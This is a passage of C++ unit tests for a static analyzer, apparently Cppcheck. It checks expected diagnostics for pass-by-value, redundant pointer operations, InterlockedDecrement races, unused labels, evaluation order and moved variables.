ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" 